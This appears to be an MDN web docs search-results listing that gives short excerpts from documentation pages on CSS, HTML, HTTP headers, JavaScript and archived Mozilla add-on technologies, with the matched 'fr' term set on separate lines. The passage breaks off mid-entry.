...And 5 more matches
<basic-shape> - CSS: Cascading Style Sheets
all the lengths expressed in percentages are resolved
from the used dimensions of the reference box.
... when all of the first four arguments are supplied they represent the top, right, bottom and left offsets
from the reference box inward that define the positions of the edges of the inset rectangle.
...a percentage value here is resolved
from the used width and height of the reference box as sqrt(width^2+height^2)/sqrt(2).
...And 5 more matches
break-after - CSS: Cascading Style Sheets
syntax the break-after property is specified as one of the keyword values
from the list below.
... avoid avoids any break (page, column, or region)
from being inserted right after the principal box.
...the type of this break is that of the immediately-containing
fragmentation context.
...And 5 more matches
break-before - CSS: Cascading Style Sheets
syntax the break-before property is specified as one of the keyword values
from the list below.
... avoid avoids any break (page, column, or region)
from being inserted right before the principal box.
...the type of this break is that of the immediately-containing
fragmentation context.
...And 5 more matches
font-variant-numeric - CSS: Cascading Style Sheets
the font-variant-numeric css property controls the usage of alternate glyphs for numbers,
fractions, and ordinal markers.
...normal; font-variant-numeric: ordinal; font-variant-numeric: slashed-zero; font-variant-numeric: lining-nums; /* <numeric-figure-values> */ font-variant-numeric: oldstyle-nums; /* <numeric-figure-values> */ font-variant-numeric: proportional-nums; /* <numeric-spacing-values> */ font-variant-numeric: tabular-nums; /* <numeric-spacing-values> */ font-variant-numeric: diagonal-
fractions; /* <numeric-
fraction-values> */ font-variant-numeric: stacked-
fractions; /* <numeric-
fraction-values> */ font-variant-numeric: oldstyle-nums stacked-
fractions; /* global values */ font-variant-numeric: inherit; font-variant-numeric: initial; font-variant-numeric: unset; this property can take one of two forms: either the keyword value normal or one or more of the other values li...
... <numeric-
fraction-values> these values controls the glyphs used to display
fractions.
...And 5 more matches
linear-gradient() - CSS: Cascading Style Sheets
syntax /* a gradient tilted 45 degrees, starting blue and finishing red */ linear-gradient(45deg, blue, red); /* a gradient going
from the bottom right to the top left corner, starting blue and finishing red */ linear-gradient(to left top, blue, red); /* color stop: a gradient going
from the bottom to top, starting blue, turning green at 40% of its length, and finishing red */ linear-gradient(0deg, blue, green 40%, red); /* color hint: a gradient going
from the left to right, starting red, getting to the midpoint...
... color 10% of the way across the length of the gradient, taking the rest of the 90% of the length to change to blue */ linear-gradient(.25turn, red, 10%, blue); /* multi-position color stop: a gradient tilted 45 degrees, with a red bottom-left half and a blue top-right half, with a hard line where the gradient changes
from red to blue */ linear-gradient(45deg, red 0 50%, blue 50% 100%); values <side-or-corner> the position of the gradient line's starting point.
...a value of 0deg is equivalent to to top; increasing values rotate clockwise
from there.
...And 5 more matches
perspective-origin - CSS: Cascading Style Sheets
html <section> <figure> <figcaption><code>perspective-origin: top left;</code></figcaption> <div class="container"> <div class="cube potl"> <div class="face
front">1</div> <div class="face back">2</div> <div class="face right">3</div> <div class="face left">4</div> <div class="face top">5</div> <div class="face bottom">6</div> </div> </div> </figure> <figure> <figcaption><code>perspective-origin: top;</code></figcaption> <div class="container"> <div class="cube potm"> <div class="face
front">1</div>...
... <div class="face back">2</div> <div class="face right">3</div> <div class="face left">4</div> <div class="face top">5</div> <div class="face bottom">6</div> </div> </div> </figure> <figure> <figcaption><code>perspective-origin: top right;</code></figcaption> <div class="container"> <div class="cube potr"> <div class="face
front">1</div> <div class="face back">2</div> <div class="face right">3</div> <div class="face left">4</div> <div class="face top">5</div> <div class="face bottom">6</div> </div> </div> </figure> <figure> <figcaption><code>perspective-origin: left;</code></figcaption> <div class="container"> <div class="cube poml"> <div class="face
front">1</div> <div class="face bac...
...k">2</div> <div class="face right">3</div> <div class="face left">4</div> <div class="face top">5</div> <div class="face bottom">6</div> </div> </div> </figure> <figure> <figcaption><code>perspective-origin: 50% 50%;</code></figcaption> <div class="container"> <div class="cube pomm"> <div class="face
front">1</div> <div class="face back">2</div> <div class="face right">3</div> <div class="face left">4</div> <div class="face top">5</div> <div class="face bottom">6</div> </div> </div> </figure> <figure> <figcaption><code>perspective-origin: right;</code></figcaption> <div class="container"> <div class="cube pomr"> <div class="face
front">1</div> <div class="face back">2</div> <div class=...
...And 5 more matches
repeating-conic-gradient() - CSS: Cascading Style Sheets
the repeating-conic-gradient() css function creates an image consisting of a repeating gradient (rather than a single gradient) with color transitions rotated around a center point (rather than radiating
from the center).
... syntax /* starburst: a a blue on blue starburst: the gradient is a starburst of lighter and darker blue, centered in the upper left quandrant, offset by 3degrees so there is no up/down straight line */ background: repeating-conic-gradient(
from 3deg at 25% 25%, hsl(200, 100%, 50%) 0deg 15deg, hsl(200, 100%, 60%) 10deg 30deg); ); values <angle> preceded by the
from keyterm, and taking an angle as its value, defines the gradient rotation in clockwise direction.
...like the repeating radial gradient, the size of the repeating section is the first color stop subtracted
from the angle of the last color stop.
...And 5 more matches
Content categories - Developer guides
they are: <a>, <abbr>, <address>, <article>, <aside>, <audio>, <b>,<bdo>, <bdi>, <blockquote>, <br>, <button>, <canvas>, <cite>, <code>, <command>, <data>, <datalist>, <del>, <details>, <dfn>, <div>, <dl>, <em>, <embed>, <fieldset>, <figure>, <footer>, <form>, <h1>, <h2>, <h3>, <h4>, <h5>, <h6>, <header>, <hgroup>, <hr>, <i>, <i
frame>, <img>, <input>, <ins>, <kbd>, <keygen>, <label>, <main>, <map>, <mark>, <math>, <menu>, <meter>, <nav>, <noscript>, <object>, <ol>, <output>, <p>, <picture>, <pre>, <progress>, <q>, <ruby>, <s>, <samp>, <script>, <section>, <select>, <small>, <span>, <strong>, <sub>, <sup>, <svg>, <table>, <template>, <textarea>, <time>, <ul>, <var>, <video>, <wbr> and text.
... do not confuse this content model with the sectioning root category, which isolates its content
from the regular outline.
... note: the <hgroup> element was removed
from the w3c html specification prior to html 5 being finalized, but is still part of the whatwg specification and is at least partially supported by most browsers.
...And 5 more matches
HTML attribute: multiple - HTML: Hypertext Markup Language
any trailing and leading whitespace is removed
from each address in the list.
...the user can choose multiple files
from the file picker in any way that their chosen platform allows (e.g.
... the multiple attribute on the <select> element represents a control for selecting zero or more options
from the list of options.
...And 5 more matches
Date and time formats used in HTML - HTML: Hypertext Markup Language
they are always represented by a two-digit ascii string whose value ranges
from 01 through 12.
... if a
fraction of a second is included, it may be
from one to three digits long, indicating the number of milliseconds.
...the space has been replaced with the "t" character and the trailing zero in the
fraction of a second has been removed to make the string as short as possible.
...And 5 more matches
<img>: The Image Embed element - HTML: Hypertext Markup Language
the image is corrupted in some way that prevents it
from being loaded.
...setting this attribute to an empty string (alt="") indicates that this image is not a key part of the content (it’s decoration or a tracking pixel), and that non-visual browsers may omit it
from rendering.
...image data
from a cors-enabled image returned
from a cors request can be reused in the <canvas> element without being marked "tainted".
...And 5 more matches
<input type="email"> - HTML: Hypertext Markup Language
any trailing and leading whitespace is removed
from each address in the list.
...the values provided are suggestions, not requirements: users can select
from this predefined list or provide a different value.
... using email inputs e-mail addresses are among the most
frequently-inputted textual data forms on the web; they're used when logging into web sites, when requesting information, to allow order confirmation, for webmail, and so forth.
...And 5 more matches
<input type="image"> - HTML: Hypertext Markup Language
shown formaction the url to which to submit the data formenctype the encoding method to use when submitting the form data formmethod the http method to use when submitting the form formnovalidate a boolean which, if present, indicates that the form shouldn't be validated before submission formtarget a string indicating a browsing context
from where to load the results of submitting the form height the height, in css pixels, at which to draw the image src the url
from which to load the image width the width, in css pixels, at which to draw the image alt the alt attribute provides an alternate string to use as the button's label if the image cannot be shown (due to error, a user agent that c...
...the string must be the name of a browsing context (that is, a tab, window, or <i
frame>.
... in addition to the actual names of tabs, windows, or inline
frames, there are a few special keywords that can be used: _self loads the response into the same browsing context as the one that contains the form.
...And 5 more matches
Browser detection using the user agent - HTTP
in those rare cases where behavior differs between browsers, instead of checking the user agent string, you should instead implement a test to detect how the browser implements the api and determine how to use it
from that.
...the agent might be an older version of chrome,
from before support was added, or (because the feature was experimental at the time) it could be a later version of chrome that removed it.
...people use user agent sniffing to detect if the users' device is touch-
friendly and has a small screen so they can optimize their website accordingly.
...And 5 more matches
Cross-Origin Resource Policy (CORP) - HTTP
cross-origin resource policy is a policy set by the cross-origin-resource-policy http header that lets web sites and applications opt in to protection against certain requests
from other origins (such as those issued with elements like <script> and <img>), to mitigate speculative side-channel attacks, like spectre, as well as cross-site script inclusion attacks.
... as this policy is expressed via a response header, the actual request is not prevented—rather, the browser prevents the result
from being leaked by stripping the response body.
... history the concept was originally proposed in 2012 (as
from-origin), but resurrected in q2 of 2018 and implemented in safari and chromium.
...And 5 more matches
CSP: default-src - HTTP
for each of the following directives that are absent, the user agent looks for the default-src directive and uses this value for it: child-src connect-src font-src
frame-src img-src manifest-src media-src object-src prefetch-src script-src script-src-elem script-src-attr style-src style-src-elem style-src-attr worker-src csp version 1 directive type fetch directive syntax one or more sources can be allowed for the default-src policy: content-security-policy: default-src <source>; content-security-policy: default-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by nam...
... examples: http://*.example.com: matches all attempts to load
from any subdomain of example.com using the http: url scheme.
... *.example.com: matches all attempts to load
from any subdomain of example.com using the current protocol.
...And 5 more matches
CSP: script-src - HTTP
examples: http://*.example.com: matches all attempts to load
from any subdomain of example.com using the http: url scheme.
... *.example.com: matches all attempts to load
from any subdomain of example.com using the current protocol.
... 'self' refers to the origin
from which the protected document is being served, including the same url scheme and port number.
...And 5 more matches
Redirections in HTTP - HTTP
temporary redirections sometimes the requested resource can't be accessed
from its canonical location, but it can be accessed
from another place.
... used to redirect after a put or a post, so that re
freshing the result page doesn't re-trigger the operation.
...indicates that the cached response is still
fresh and can be used.
...And 5 more matches
A re-introduction to JavaScript (JS tutorial) - JavaScript
because it is more familiar, we will refer to ecmascript as "javascript"
from this point on.
...its syntax is based on the java and c languages — many structures
from those languages apply to javascript as well.
...and date and regexp, which are objects that you get for
free.
...And 5 more matches
Closures - JavaScript
in other words, a closure gives you access to an outer function’s scope
from an inner function.
...what's different (and interesting) is that the displayname() inner function is returned
from the outer function before being executed.
...much of the code written in
front-end javascript is event-based.
...And 5 more matches
Working with objects - JavaScript
to illustrate how this works, the following function displays the properties of the object when you pass the object and the object's name as arguments to the function: function showprops(obj, objname) { var result = ``; for (var i in obj) { // obj.hasownproperty() is used to filter out properties
from the object's prototype chain if (obj.hasownproperty(i)) { result += `${objname}.${i} = ${obj[i]}\n`; } } return result; } so, the function call showprops(mycar, "mycar") would return the following: mycar.make = ford mycar.model = mustang mycar.year = 1969 enumerate the properties of an object starting with ecmascript 5, there are three native ways to list/traverse object ...
...objects are created as if a call to new object() were made; that is, objects made
from object literal expressions are instances of object.
...unction() { // method which will display type of animal console.log(this.type); } }; // create new animal type called animal1 var animal1 = object.create(animal); animal1.displaytype(); // output:invertebrates // create new animal type called fishes var fish = object.create(animal); fish.type = 'fishes'; fish.displaytype(); // output:fishes inheritance all objects in javascript inherit
from at least one other object.
...And 5 more matches
Memory Management - JavaScript
low-level languages like c, have manual memory management primitives such as malloc() and
free().
... in contrast, javascript automatically allocates memory when objects are created and
frees it when they are not used anymore (garbage collection).
...this algorithm reduces the problem
from determining whether or not an object is still needed to determining if an object still has any other objects referencing it.
...And 5 more matches
Function.prototype.bind() - JavaScript
description the bind() function creates a new bound function, which is an exotic function object (a term
from ecmascript 2015) that wraps the original function object.
... the partial implementation creates bound functions whose name property is not derived
from the original function name.
... if you choose to use this partial implementation, you must not rely on those cases where behavior deviates
from ecma-262, 5th edition!
...And 5 more matches
Object.create() - JavaScript
custom and null objects a new object created
from a completely custom object (especially one created
from the null object, which is basically a custom object with no members) can behave in unexpected ways.
... for example: a simple common debugging function: // display top-level property name:value pairs of given object function showproperties(obj){ for(var prop in obj){ console.log(prop + ": " + obj[prop] + "\n" ); } } not such simple results: (especially if silent error-trapping had hidden the error messages) ob={}; ob.po=oco; ob.pn=ocn; // create a compound object using the test objects
from above as property values > showproperties( ob ) // display top-level properties - po: [object object] - error: cannot convert object to primitive value note that only first property gets shown.
... adding the missing object-method directly
from the standard-object does not work: ocn = object.create( null ); // create "null" object (same as before) ocn.tostring = object.tostring; // since new object lacks method then try assigning it directly
from standard-object > ocn.tostring // shows "tostring() { [native code] }" -- missing method seems to be there now > ocn.tostring == object.tostring // shows "true" -- method seems to be same ...
...And 5 more matches
Object.defineProperty() - JavaScript
this method allows these extra details to be changed
from their defaults.
...they share the following optional keys (note: the default value is in the case of defining properties using object.defineproperty()): configurable true if and only if the type of this property descriptor may be changed and if the property may be deleted
from the corresponding object.
...in order to ensure these defaults are preserved, you might
freeze the object.prototype up
front, specify all options explicitly, or point to null with object.create(null).
...And 5 more matches
String.prototype.indexOf() - JavaScript
the indexof() method returns the index within the calling string object of the first occurrence of the specified value, starting the search at
fromindex.
... syntax str.indexof(searchvalue [,
fromindex]) parameters searchvalue the string value to search for.
...
fromindex optional an integer representing the index at which to start the search.
...And 5 more matches
this - JavaScript
// call bar as a method of obj, setting its this to obj // assign a reference to the returned function to fn var fn = obj.bar(); // call fn without setting this, would normally default // to the global object or undefined in strict mode console.log(fn() === obj); // true // but caution if you reference the method of obj without calling it var fn2 = obj.bar; // calling the arrow function's this
from inside the bar method() // will now return window, because it follows the this
from fn2.
...doing so results in the same behavior: var o = {prop: 37}; function independent() { return this.prop; } o.f = independent; console.log(o.f()); // 37 this demonstrates that it matters only that the function was invoked
from the f member of o.
... var o = {f: function() { return this.a + this.b; }}; var p = object.create(o); p.a = 1; p.b = 4; console.log(p.f()); // 5 in this example, the object assigned to the variable p doesn't have its own f property, it inherits it
from its prototype.
...And 5 more matches
MathML attribute reference - MathML
bevelled <m
frac> specifies the style how the
fraction should be displayed.
...use u+2044 (
fraction slash) instead.
... denomalign <m
frac> the alignment of the denominator under the
fraction.
...And 5 more matches
Digital video concepts - Web media technologies
there are several color models, and video codec makes use of one or more of these to represent their pixels during the encoding process as well as after decoding the video
frames.
...without the other two components, the luma of each pixel in the
frame produces a greyscale representation of the image.
...this value is computed by subtracting the luma
from the gamma corrected blue value; that is, u = b' - y'.
...And 5 more matches
Web media technologies
accessible
from javascript as htmlaudioelement objects.
...<video> can also be used as a way to link media apis with other html and dom technologies, including <canvas> (for
frame grabbing and manipulation), for example.
... accessible
from javascript as htmlvideoelement objects.
...And 5 more matches
Populating the page: how browsers work - Web Performance
for smooth interactions, the developer's goal is to ensure performant site interactions,
from smooth scrolling to being responsive to touch.
...after this initial request, the ip will likely be cached for a time, which speeds up subsequent requests by retrieving the ip address
from the cache instead of contacting a name server again.
...when a user is on a mobile network, each dns lookup has to go
from the phone to the cell tower to reach an authoritative dns server.
...And 5 more matches
Understanding latency - Web Performance
latency is the time it takes for a packet of data to travel
from source to a destination.
... latency is generally considered to be the amount of time it takes
from when a request is made by the user to the time it takes for the response to get back to that user.
...we can determine the amount of latency by measuring the speed with which the data moves
from one network location to another.
...And 5 more matches
Privacy, permissions, and information security
modern browsers take steps to help prevent fingerprinting-based attacks by either not allowing information to be accessed or, where the information must be made available, by introducing variations that prevent it
from being used for identification purposes.
... content security policy provides the ability to define the extent to which a document's content can be accessed by other devices over the web; used in particular to prevent or mitigate attacks on the server feature policy lets web developers selectively enable, disable, and modify the behavior of certain features and apis both for a document and for subdocuments loaded in <i
frame>s <i
frame>'s allow attribute technically part of feature policy, the allow attribute on an <i
frame> specifies which web features the document in the
frame should be allowed to access http public key pinning (hpkp) hpkp is used by servers to instruct a client to associate a specific public key with the server going forward in order to decrease the likelihood of man-in-th...
...e-middle attacks http strict transport security (hsts) hsts is used by servers to let them protect themselves
from protocol downgrade and cookie hijack attacks by letting sites tell clients that they can only use https to communicate with the server http/2 while http/2 technically does not have to use encryption, most browser developers are only supporting it when used with https, so it can be thought of in that regard as being security-related permissions api provides a way to determine the status of permissions for the current browser context transport layer security (tls); formerly known as secure sockets layer (ssl) tls provides security and privacy by encrypting data during transport over the network.
...And 5 more matches
How to make PWAs re-engageable using Notifications and Push - Progressive web apps (PWAs)
push is used to deliver new content
from the server to the app without any client-side intervention, and its operation is handled by the app's service worker.
...(for a real app, the notifications should be much less
frequent, and more useful.) the advantage of the notifications api is that it uses the operating system's notification functionality.
...the app's service worker will receive data
from the push server, which can then be shown using the notifications system, or another mechanism if desired.
...And 5 more matches
The building blocks of responsive design - Progressive web apps (PWAs)
also, taking an existing site and adding responsiveness to it, to make it mobile/tablet
friendly, can be a lot more effort than just creating a separate mobile site or app, especially if it is a sprawling enterprise site.
... we've written a simple-but-fun prototype for an application called snapshot, which takes a video stream
from your webcam (using getusermedia()) then allows you to capture stills
from that video stream (using html5 <canvas>), and save them to a gallery.
...so if you set width: 40%, the box width will always be 40% of its parent, and any padding and border widths set on the box will be subtracted
from the content width, not added to it.
...And 5 more matches
fill - SVG: Scalable Vector Graphics
--> <circle cx="250" cy="50" r="20"> <animate attributetype="xml" attributename="r"
from="0" to="40" dur="5s" fill="
freeze" /> </circle> </svg> altglyph warning: as of svg2 <altglyph> is deprecated and shouldn't be used.
... value
freeze (keep the state of the last animation
frame) | remove (keep the state of the first animation
frame) default value remove animatable no animatecolor warning: as of svg animation 2 <animatecolor> is deprecated and shouldn't be used.
... value
freeze (keep the state of the last animation
frame) | remove (keep the state of the first animation
frame) default value remove animatable no animatemotion for <animatemotion>, fill defines the final state of the animation.
...And 5 more matches
Using the Mozilla JavaScript interface to XSL Transformations - XSLT: Extensible Stylesheet Language Transformations
transforming the document you can use the xsltprocessor.transformtodocument() or xsltprocessor.transformto
fragment() methods to transform a document using the imported xslt stylesheet.
...ne argument, the source node to transform, and returns a new document with the results of the transformation: var newdocument = processor.transformtodocument(domtobetransformed); the resultant object depends on the output method of the stylesheet: html - htmldocument xml - xmldocument text - xmldocument with a single root element <transformiix:result> with the text as a child transformto
fragment you can also use xsltprocessor.transformto
fragment() which will return a document
fragment node.
... this is handy because appending a
fragment to another node transparently appends all the children of that
fragment, and the
fragment itself is not merged.
...And 5 more matches
JavaScript/XSLT Bindings - XSLT: Extensible Stylesheet Language Transformations
document.importnode() allows transferring a dom
fragment between documents, in this case
from an html document to an xml document.
... figure 2 : creating an xml document based on part of a document's dom // create a new xml document in memory var xmlref = document.implementation.createdocument("", "", null); // we want to move a part of the dom
from an html document to an xml document.
... true makes it do a deep clone var mynode = document.getelementbyid("example"); var clonednode = xmlref.importnode(mynode, true); // add the cloned dom into the xml document xmlref.appendchild(clonednode); once the stylesheet has been imported, xsltprocessor has to perform two methods for the actual transformation, namely xsltprocessor.transformtodocument() and xsltprocessor.transformto
fragment().
...And 5 more matches
Using the WebAssembly JavaScript API - WebAssembly
if you have already compiled a module
from another language using tools like emscripten, or loaded and run the code yourself, the next step is to learn more about using the other features of the webassembly javascript api.
...nd what is going on here, let’s look at the text representation of our wasm module (which we also meet in converting webassembly format to wasm): (module (func $i (import "imports" "imported_func") (param i32)) (func (export "exported_func") i32.const 42 call $i)) in the second line, you will see that the import has a two-level namespace — the internal function $i is imported
from imports.imported_func.
...create a <script></script> element in your html file, and add the following code to it: var importobject = { imports: { imported_func: arg => console.log(arg) } }; streaming the webassembly module new in firefox 58 is the ability to compile and instantiate webassembly modules directly
from underlying sources.
...And 5 more matches
loader/sandbox - Archive of obsolete content
the argument may be: a url string, in which case the sandbox will get the same privileges as a script loaded
from that url a dom window object, to inherit privileges
from the window being passed.
... evaluate code module provides evaluate function that lets you execute code in the given sandbox: evaluate(scope, 'var a = 5;'); evaluate(scope, 'a + 2;'); //=> 7 more details about evaluated script may be passed via optional arguments that may improve exception reporting: // evaluate code as if it was loaded
from 'http://foo.com/bar.js' and // start
from 2nd line.
... load scripts this module provides a limited api for loading scripts
from local urls.
...And 4 more matches
Low-Level APIs - Archive of obsolete content
many add-ons are likely to want to use modules
from this category.
... content/content re-exports three objects
from three other modules: loader, worker, and symbiont.
...
frame/hidden-
frame creates firefox
frames (i.e.
...And 4 more matches
Chrome Authority - Archive of obsolete content
from this, the module can do pretty much anything the browser is capable of.
...
from this you can access less-
frequently-used properties like components.stack and components.issuccesscode.
...the components object should not be accessed
from modules.
...And 4 more matches
Canvas code snippets - Archive of obsolete content
code usable
from web content getting the number of pixels of a certain color in a canvas the following function will return the number of pixels in a canvas that have the rgb color of r, g and b.
...d('canvas'); // use context to get access to underlying context var ctx = canvas2dcontext(canvas) .strokestyle('rgb(30, 110, 210)') .transform(10, 3, 4, 5, 1, 0) .strokerect(2, 10, 15, 20) .context; // use property name as a function (but without arguments) to get the value var strokestyle = canvas2dcontext(canvas) .strokestyle('rgb(50, 110, 210)') .strokestyle(); code usable only
from privileged code these snippets are only useful
from privileged code, such as extensions or privileged apps.
...> canvas.toblob(accept, type, options)); reader.readasarraybuffer(blob); yield new promise(accept => { reader.onloadend = accept }); return yield os.file.writeatomic(path, new uint8array(reader.result), { tmppath: path + '.tmp' }); }); } loading a remote page onto a canvas element the following class first creates a hidden i
frame element and attaches a listener to the
frame's load event.
...And 4 more matches
Install Manifests - Archive of obsolete content
this means that the add-on will work with the application identified by the id property (<em:id>) specified (for a comprehensive list of application ids and valid min/maxversions for them see valid application versions for add-on developers),
from the minimum version (<em:minversion>) up to and including the maximum version (<em:maxversion>).
...the version format is different
from, although backwards-compatible with, 1.0's.
... examples <em:translator>janez novak</em:translator> <em:translator>kari nordmann</em:translator> unpack a true or false value that tells the application whether the extension requires its files be unpacked into a directory in order to work or whether the extension can be loaded direct
from the xpi.
...And 4 more matches
Connecting to Remote Content - Archive of obsolete content
following initialization, onload and onerror handlers are registered to a callback function to handle the response returned
from the remote server.
...let's assume that the xml returned
from remote server is this: <?xml version="1.0"?> <data> <shops> <shop> <name>apple</name> <code>a001</code> </shop> <shop> <name>orange</name> </shop> </shops> <total>2</total> </data> when a valid xml response comes back
from the remote server, the xml document object can be manipulated using different dom methods, to display the data in the ui or store i...
... taken
from the xpath page.
...And 4 more matches
Custom XUL Elements with XBL - Archive of obsolete content
taken
from the xbl page.
...in order to work around this problem, the anonid attribute is used instead: <xul:label anonid="xulshoolhello-name-label" xbl:inherits="value=name" /> and then, in order to get a reference to the node
from the js code in your binding, we use the getanonymouselementbyattribute dom method: let namelabel = document.getanonymouselementbyattribute( this, "anonid", "xulshoolhello-name-label"); implementation the implementation section defines most of the scripting side of your element.
... properties and fields the field and property tags allow you to handle element variables and access them
from outside of the element.
...And 4 more matches
CSS3 - Archive of obsolete content
modules and the standardization process css level 2 needed 9 years,
from august 2002 to june 2011 to reach the recommendation status.
... definition for <angle>, <time>, <
frequency>, <resolution>.
... extends the url() syntax to support image slices using media
fragments.
...And 4 more matches
Getting the page URL in NPAPI plugin - Archive of obsolete content
sometimes, you want to restrict an npapi plugin to be loadable only
from a certain url or domain or scheme.
...there are at least 3 solutions (quoting newsgroup posts): via window location
from robert platt: // get the dom window object.
...npvariant variantvalue; // get the location property
from the window object (which is another object).
...And 4 more matches
Exception logging in JavaScript - Archive of obsolete content
all other errors are reported when the last javascript
frame on the stack returns to a c++ caller without handling the exception.
...if the javascript in
frame 4 throws an exception, the exception is returned as an error code to the c++ in
frame 3.
...that c++ may handle the error, generate a different error, or simply pass it straight back to the js in
frame 2.
...And 4 more matches
Repackaging Firefox - Archive of obsolete content
because firefox is designed
from the ground up for extensibility and customization, this process is simple and easy to maintain.
...you must have written authorization
from mozilla to distribute a modified version of firefox.
...using an extension makes it far easier to keep track of your changes easily when the time comes to upgrade to new versions of firefox, and also ensures, when set-up correctly, that users are able to safely receive firefox updates
from mozilla.
...And 4 more matches
Plugin Architecture - Archive of obsolete content
classes there are some classes involved in plugins: nsobjectloadingcontent embed, object and applet nodes inherit
from that class, which provides services for loading various kinds of objects.
... nsobject
frame the
frame responsible for displaying plugins nsplugininstanceowner glue between plugin code (modules/plugin) and layout code (layout/generic).
... a refcounted object, contrary to nsobject
frame.
...And 4 more matches
File object - Archive of obsolete content
getting started in order to use the file object
from your javascript programs, you must enable it by setting the make variable js_has_file_object during the compilation of your spidermonkey engine.
... here is the original proposal for this object, and a status update
from december 1998: http://www.mozilla.org/js/js-file-object.html created by the file constructor: new file(); new file(filename); parameters filename name of the file we want to work with.
... when a file is constructed, leading and trailing spaces are removed
from the filename, so new file(" abc.txt ") just creates a file called abc.txt.
...And 4 more matches
Running Tamarin performance tests - Archive of obsolete content
you may download the latest asc.jar
from ftp://ftp.mozilla.org/pub/js/tamarin...latest/asc.jar.
... also the source to asc.jar may be downloaded and rebuilt
from http://opensource.adobe.com/wiki/dis...exsdk/flex+sdk.
...results
from the two shells will be shown side to side and the percent speedup will be shown.
...And 4 more matches
URIs and URLs - Archive of obsolete content
resources are identified by uri "uniform resource identifier" (taken
from rfc 2396): uniform uniformity provides several benefits: it allows different types of resource identifiers to be used in the same context, even when the mechanisms used to access those resources may differ; it allows uniform semantic interpretation of common syntactic conventions across different types of resource identifiers; it allows introduction of new types of resource identifiers without interfering with the way that existing identifiers are used; and, it allows the identifiers to be reused in many different conte...
...nsiurl inherits
from nsiuri and represents access to typical urls with schemes like "http", "ftp", ...
... escaping to be able to parse an url safely it is sometimes necessary to "escape" certain characters, to hide them
from the parser.
...And 4 more matches
Using gdb on wimpy computers - Archive of obsolete content
from there you can allow the program to continue running.
.../home/blizzard/src/mozilla/mozilla/dist/bin ld_library_path=/home/blizzard/src/mozilla/mozilla/dist/bin shlib_path=/home/blizzard/src/mozilla/mozilla/dist/bin libpath=/home/blizzard/src/mozilla/mozilla/dist/bin moz_program=./mozilla-bin moz_toolkit= moz_debug=1 moz_debugger= /usr/bin/gdb ./mozilla-bin -x /tmp/mozargs22288 gnu gdb 19991004 copyright 1998
free software foundation, inc.
... gdb is
free software, covered by the gnu general public license, and you are welcome to change it and/or distribute copies of it under certain conditions.
...And 4 more matches
XBL - Archive of obsolete content
xbl bindings have been removed
from the firefox codebase and the work was tracked in bug 1397874 and are we xbl still?.
... bindings can contain event handlers that are registered on the bound element, an implementation of new methods and properties that become accessible
from the bound element, and anonymous content that is inserted underneath the bound element.
...you can build your own reusable widgets
from existing xul, html, svg, and other primitives using xbl.
...And 4 more matches
OpenClose - Archive of obsolete content
closing menus menus will close automatically once the user has made a selection
from the menu.
...the user may cancel selecting a command
from a menu by pressing the escape key.
...a user may also cancel selecting
from a menu by clicking outside the menu.
...And 4 more matches
Box Objects - Archive of obsolete content
x, y the x and y coordinates are referenced
from the top left corner of the document in the window (that portion which excludes the window border and title bar) and refer to the top left corner of the element, including css padding.
... the top left corner of the document is that which is obtained
from screen.mozinnerscreenx, screen.mozinnerscreeny screenx, screeny the screenx and screeny coordinates are referenced
from the absolute top left corner of the screen (screen.top,screen.left) and refer to the top left corner of the element, including css padding and borders.
...when an element is hidden, it is removed
from the display and the layout objects are removed for it.
...And 4 more matches
Document Object Model - Archive of obsolete content
each xul file that is loaded will have its own document displayed in a window or
frame.
...each
frame will also have a separate window object.
...for example, if we combined the last two examples into a single file, we might want to call the gettext() function
from within the other window (for example, the test.xul window).
...And 4 more matches
More Event Handlers - Archive of obsolete content
example 1 : source view <vbox oncommand="alert(event.currenttarget.tagname);"> <button label="ok"/> <checkbox label="show images"/> </vbox> stop event propagation once you handle an event, regardless of where in the propagation the event is, you will likely want to stop the event
from being sent to further elements, essentially stopping the capturing or bubbling phases
from continuing.
...example 3 : source view <button label="types" type="menu"> <menupopup onpopupshowing="event.preventdefault();"> <menuitem label="glass"/> <menuitem label="plastic"/> </menupopup> </button> alternatively, for attribute event listeners, you can just return false
from the code.
...you must call both methods to stop both
from occuring.
...And 4 more matches
XBL Attribute Inheritance - Archive of obsolete content
xbl provides an inherits attribute which can be used to inherit attributes
from the bound element.
... it should be placed on the element that should inherit an attribute
from the outer element, in this case the button.
...<xul:textbox xbl:inherits="flex"/> <xul:button xbl:inherits="label"/> when the content is generated, the textbox grabs the flex attribute
from the searchbox and the button grabs the label attribute
from the searchbox.
...And 4 more matches
XUL Template Primer - Bindings - Archive of obsolete content
this is different
from the variables specified in the rule's conditions, where a value must be found for each variable for the rule to match.
... <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin" type="text/css"?> <window xmlns:html="http://www.w3.org/1999/xhtml" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" align="vertical"> <vbox datasources="
friends.rdf" ref="urn:root"> <template> <rule> <conditions> <content uri="?uri"/> <triple subject="?uri" predicate="http://home.netscape.com/nc-rdf#
friends" object="?
friends"/> <member container="?
friends" child="?
friend"/> <triple subject="?
friend" predicate="http://home.netscape.com/nc-rdf#...
...name" object="?name"/> </conditions> <bindings> <binding subject="?
friend" predicate="http://home.netscape.com/nc-rdf#address" object="?addr"/> <binding subject="?addr" predicate="http://home.netscape.com/nc-rdf#street" object="?street"/> </bindings> <action> <hbox uri="?
friend"> <label value="?name"/> <label value="?street"/> </hbox> </action> </rule> </template> </vbox> </window> the xul template primer covers the <conditions> and <action> elements, so we won't discuss those here.
...And 4 more matches
panel - Archive of obsolete content
warning: for firefox versions between 3.6 and 4.0, placing an i
frame, browser or editor inside a panel is not supported.
...for those versions of firefox, it is best to avoid child
frames in a panel, if possible.
... in this image, the panel has flip="slide" and has a width which is greater than the distance
from the anchor to the right of the screen (or window), so the panel extends past the left of the anchor, and the arrow slides towards the middle of the panel such that it is still aligned with the anchor.
...And 4 more matches
Building XULRunner with Python - Archive of obsolete content
this gives access to python features and modules and builds on mark hammond's pyxpcom work
from active state.
... microsoft c++ compiler is required and whilst the current
free version is visual studio 8 express (msvc8) you will almost certainly want to use visual studio .net 2003 (msvc71) which is not longer officially available.
...the matching platform sdk is also needed and for msvc71 that is .net
framework sdk 1.1.
...And 4 more matches
2006-10-20 - Archive of obsolete content
he stated that he was able to pre-package the extensions that he wanted by following this walkthrough and a little bit of help
from this post.
... in jan vávra's case he is modifying the thunderbird installer so he needs to modify "mail/installer/windows/packages-static" announcements decommissioning sparky on
friday on october 17th j.
...paul would like to hear
from anyone who is against this decision.
...And 4 more matches
NPN_GetURL - Archive of obsolete content
target name of the target window or
frame, or one of the following special target names.
...not recommended; if target refers to the window or
